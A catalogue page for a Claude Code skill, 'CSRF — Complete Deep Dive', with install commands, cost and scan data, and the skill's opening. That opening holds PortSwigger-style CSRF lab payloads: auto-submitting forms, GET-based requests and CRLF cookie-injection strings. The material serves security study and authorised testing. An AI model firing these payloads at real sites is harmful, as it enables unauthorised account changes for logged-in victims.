CSRF — Complete Deep Dive

CSRF — Complete Deep Dive is a skill for Claude Code from akashrpatil/awesome-offensive-security-skills. It costs 26 tokens per session (1,547 once invoked), scanned A, a copy of CORS Misconfiguration — Complete Deep Dive, Apache-2.0.

A PortSwigger-based study and testing guide for cross-site request forgery, or CSRF. CSRF is a web attack that tricks a logged-in browser into sending an unwanted request to a site.

In plain words
What is it for?
Use it to study CSRF, reproduce lab scenarios, inspect request protections, and assess authorised web applications for this vulnerability.
Why use it?
It provides a structured way to understand and test common CSRF protections and weaknesses. It is intended for authorised security labs, applications, and bug-bounty testing.

Skill for Claude Code

Written for Claude Code: shipped in a Claude Code plugin.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patte.

Part of the cyberskills-elite plugin — 191 skills shipped together

Good fit Use it to study CSRF, reproduce lab scenarios, inspect request protections, and assess authorised web applications for this vulnerability.

Compare 6 skills from other repositories ↓
Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skills
agentmods
npx agentmods add skills/akashrpatil/awesome-offensive-security-skills/csrf

Made for: Claude Code.

Or install cyberskills-elite, the plugin that ships this one along with the rest of its 191 skills.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for CSRF — Complete Deep Dive

README.md
[![agentmods](https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/csrf/github.svg)](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/csrf)
Your own site
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/csrf"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/csrf/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for CSRF — Complete Deep Dive

Your own site · 80×15
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/csrf"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/csrf.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 26 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,547 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 1 finding. A grade says what 26 rules found in the file — not that it is safe.
Origin 84% copy Near-identical to another mod in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00026 $0.01547
Opus 5 $0.00013 $0.00773
Sonnet 5 $0.00005 $0.00309
Haiku 4.5 $0.00003 $0.00155

Measured 11d ago against content hash 43d600158c2f, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-11, from the pricing page.

Security

Grade A, and why

CSRF — Complete Deep Dive scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 11d ago.

The scan reads SKILL.md. This mod also ships 1 executable file (scripts/process.py), listed below but not scanned — reading those needs a real analyzer, not pattern matching.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

tools: [burp-suite, curl, sqlmap, ffuf, python]
Origin

This is a copy

84% identical to CORS Misconfiguration — Complete Deep Dive — 89 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

skills/bug-hunting/deep-dive-labs/csrf/SKILL.md · 175 lines

How it starts

The opening of the file, as written. The whole thing — 175 lines — stays where its author put it; the contents beside it link to each section on GitHub.

CSRF — Complete Deep Dive

Deep-Dive Lab Playbook — Every PortSwigger lab variant with exact payloads, bypass techniques, and zero-day extensions. Difficulty: 🟢 Apprentice 🟡 Practitioner 🔴 Expert

When to Use

  • Studying for BSCP (Burp Suite Certified Practitioner) certification
  • Testing real-world targets for these vulnerability classes
  • Bug bounty hunting — these exact techniques find real bugs
  • Building exploitation chains

Prerequisites

  • Burp Suite Professional (Community works for most)
  • Browser with proxy configured
  • Burp Collaborator or interactsh for OOB testing

Workflow

Phase 1: Reconnaissance

  • Identify input vectors, parameters, and application behavior.

Phase 2: Exploitation

  • Apply standard lab payloads.

Phase 3: Zero-Day Escalation

  • Fuzz filters, bypass WAFs, and chain with other vulns.

Lab Playbooks

Lab 1: No defenses 🟢 APPRENTICE

<form action="https://TARGET/email/change" method="POST">
<input name="email" value="[email protected]">
</form>
<script>document.forms[0].submit();</script>

Lab 2: Token depends on request method 🟡 PRACTITIONER

Change POST to GET:

<img src="https://TARGET/email/[email protected]">

CSRF token only validated on POST, not GET.

Lab 3: Token depends on being present 🟡 PRACTITIONER

Remove the csrf parameter entirely. Server only validates IF token is present.

Lab 4: Token not tied to session 🟡 PRACTITIONER

Use YOUR valid CSRF token in the victim's request. Server validates token exists but not ownership.

Lab 5: Token tied to non-session cookie 🟡 PRACTITIONER

Inject your csrfKey cookie via header injection:

/?search=test%0d%0aSet-Cookie:+csrfKey=YOUR_KEY

Then use your matching CSRF token.

Lab 6: Token duplicated in cookie 🟡 PRACTITIONER

Cookie and parameter must match. Inject cookie:

/?search=test%0d%0aSet-Cookie:+csrf=fake

Use csrf=fake in form.

Lab 7: SameSite Lax method override 🟡 PRACTITIONER

<script>document.location='https://TARGET/email/[email protected]&_method=POST';</script>

_method=POST overrides GET to POST on server side. SameSite=Lax allows GET.

Read the full file on GitHub · 175 lines

Files

What ships with it

1 file beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 11d ago First seen · 175 lines · 26 tokens per session scan A 43d600158c2f

Subscribe to this mod's changes

CSRF — Complete Deep Dive is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (4 stars, last pushed 4mo ago), licensed Apache-2.0. It adds 26 tokens to every session and 1,547 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). It is 84% identical to CORS Misconfiguration — Complete Deep Dive, differing in 89 lines, and is treated as a copy.